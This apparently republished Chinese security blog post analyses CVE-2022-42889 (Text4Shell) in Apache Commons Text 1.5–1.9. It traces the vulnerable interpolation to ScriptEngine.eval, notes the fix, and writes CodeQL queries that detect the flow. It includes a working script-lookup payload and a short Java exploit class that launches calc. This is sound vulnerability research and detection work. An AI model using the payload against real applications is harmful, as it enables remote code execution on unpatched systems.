Drunkbaby
- 关注
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0
1
2
3
4
5
6
7
8
9
0x01 前言
CodeQL 实践
0x02 漏洞相关信息
漏洞描述
Apache Commons Text 执行变量插值 (variable interpolation), 允许动态评估和扩展属性。插值的标准格式是"${prefix:name}"
,其中 "prefix" 用于查找定位执行插值 org.apache.commons.text.lookup.StringLookup
的实例。从 1.5 版到 1.9 版,默认的 Lookup 实例集包括可能导致任意代码执行或与远程服务器联系的插值器。
看到这个漏洞描述其实就是 JavaScriptEngine 没得跑了
漏洞影响版本
1.5 <= Apache Commons Text <= 1.9
0x03 漏洞基础
Apache Commons Text
Apache Commons Text 该组件是一款处理字符串和文本块的开源项目,简单来说,除了核心 Java 提供的功能外,Apache Commons 文本库还包含了许多有用的实用程序方法,用于处理字符串。通常在开发过程中用于占位符和动态获取属性的字符串编辑工具包,常用于数据库查询前的语句替换,或者页面输出时的替换。
0x04 环境搭建
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-text</artifactId>
<version>1.9</version>
</dependency>
0x05 漏洞复现与分析
漏洞复现
按照官方文档的说法,https://commons.apache.org/proper/commons-text/userguide.html
一个简单的 demo 使用应该如下
final StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
final String text = interpolator.replace(
"Base64 Decoder: ${base64Decoder:SGVsbG9Xb3JsZCE=}\n" +
"Base64 Encoder: ${base64Encoder:HelloWorld!}\n" +
"Java Constant: ${const:java.awt.event.KeyEvent.VK_ESCAPE}\n" +
"Date: ${date:yyyy-MM-dd}\n" +
"Environment Variable: ${env:USERNAME}\n" +
"File Content: ${file:UTF-8:src/test/resources/document.properties}\n" +
"Java: ${java:version}\n" +
"Localhost: ${localhost:canonical-name}\n" +
"Properties File: ${properties:src/test/resources/document.properties::mykey}\n" +
"Resource Bundle: ${resourceBundle:org.apache.commons.text.example.testResourceBundleLookup:mykey}\n" +
"System Property: ${sys:user.dir}\n" +
"URL Decoder: ${urlDecoder:Hello%20World%21}\n" +
"URL Encoder: ${urlEncoder:Hello World!}\n" +
"XML XPath: ${xml:src/test/resources/document.xml:/root/path/to/node}\n"
);
根据官方文档的说法,这里还支持一些其他关键字,比如dns
、url
、script
,对应的类是ScriptStringLookup
,进去看看
其中比较明显地能够看出来该如何构造语句
PoC
${script:js:new java.lang.ProcessBuilder("Calc").start()}
结合整体
import org.apache.commons.text.StringSubstitutor;
public class EXP {
public static void main(String[] args) {
StringSubstitutor interpolator = StringSubstitutor.createInterpolator();
String payload = "${script:js:new java.lang.ProcessBuilder(\"calc\").start()}";
interpolator.replace(payload);
}
}
漏洞分析
这里主要是两个点,一为如何到JavaScript Engine
,二则是 Commons Text 如何调用JavaScript Engine
下断点调试一下,先看看StringSubstitutor.createInterpolator()
StringSubstitutor类本质上就是一个字符串替换器,这里调用了对应的构造函数,创建了一些规则。跟进replace()
方法
往下,跟进substitute()
方法,最后调用至org.apache.commons.text.StringSubstitutor#substitute
方法
最终的结果是拿到varName
,也就是去掉首尾的后的内容。往下走,程序调用resolveVariable()
方法,跟进。
往下到org.apache.commons.text.lookup.ScriptStringLookup#lookup
方法,在这之前处理了我们的 payload,对:
前后的内容进行Split
操作,再进行判断。接着就是javascript
引擎被实例化了出来。跟进scriptEngine.eval()
方法
后续就是调用ScriptEngineManager
命令执行的代码,不再展开。
0x06 漏洞修复
在 1.11.0 版本做了 patch
移除了不安全的插值器 script
、 dns
和 url
0x07 利用 CodeQL 挖掘 CVE-2022-42889
真的是踩大坑了
数据库
首先是数据库的构造上,先来看一下我的错误案例吧
codeql database create DB_DIR --language=java --command='mvn clean install'
这样子构造的数据库是不行的。。。因为你最后去做 codeql 查询的时候,很多库里面的类都不会被加载进来,只有在上下文中的类会有被加载,其实根本没用
我这里的做法是,把所有的包都提出来(包括 JDK 包,以及漏洞包),提出来之后反编译,接着用 extract-java 构造 codeql 数据库。
这样子的查询才是有效的。。。。。。
CodeQL 基础 Sink&Source
首先是 sink,其实是比较简单的,先来看漏洞触发点
org.apache.commons.text.lookup.ScriptStringLookup#lookup
所以 sink 应该是javax.script.ScriptEngine#lookup
构造 Sink
class ScriptEngineEval extends DataFlow::Node {
ScriptEngineEval() {
exists(MethodAccess ma |
ma.getCallee().hasName("eval") and
ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
this.asExpr() = ma.getArgument(0)
)
}
}
接下来是 source,由于我们并不是代码审计类型的项目,大概率是不能直接 RemoteFlowSource 直接这样子定义的,所以需要定义一下,可以将该库所有公有类的字符串类型公有方法参数作为 Source 点
构造 Source
class PublicMethodParameter extends DataFlow::Node {
PublicMethodParameter() {
exists(Method m, Parameter p |
m.getDeclaringType().isPublic() and
m.isPublic() and
p = m.getAParameter() and
p.getType().hasName("String") and
this.asParameter() = p
)
}
}
这样子就找到了,原本看涙笑师傅的博客里面有写需要 PartialPathGraph 来 Debug,可能是因为 CodeQL 版本不同导致的。最终的 ql 语句
/**
* @kind path-problem
*/
import java
import semmle.code.java.dataflow.DataFlow
import DataFlow::PathGraph
import semmle.code.java.dataflow.TaintTracking
class Config extends TaintTracking::Configuration {
Config() { this = "config" }
override predicate isSource(DataFlow::Node source) {source instanceof PublicMethodParameter}
override predicate isSink(DataFlow::Node sink) { sink instanceof ScriptEngineEval }
}
class ScriptEngineEval extends DataFlow::Node {
ScriptEngineEval() {
exists(MethodAccess ma |
ma.getCallee().hasName("eval") and
ma.getCallee().getDeclaringType().getASupertype*().hasQualifiedName("javax.script", "ScriptEngine") and
this.asExpr() = ma.getArgument(0)
)
}
}
class PublicMethodParameter extends DataFlow::Node {
PublicMethodParameter() {
exists(Method m, Parameter p |
m.getDeclaringType().isPublic() and
m.isPublic() and
p = m.getAParameter() and
p.getType().hasName("String") and
this.asParameter() = p
)
}
}
from Config cfg, DataFlow::PathNode source, DataFlow::PathNode sink
where cfg.hasFlowPath(source, sink)
select sink, source, sink, "path"
0x08 Ref
https://l3yx.github.io/2022/12/17/%E7%94%A8CodeQL%E5%88%86%E6%9E%90%E6%BC%8F%E6%B4%9E-CVE-2022-42889/
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)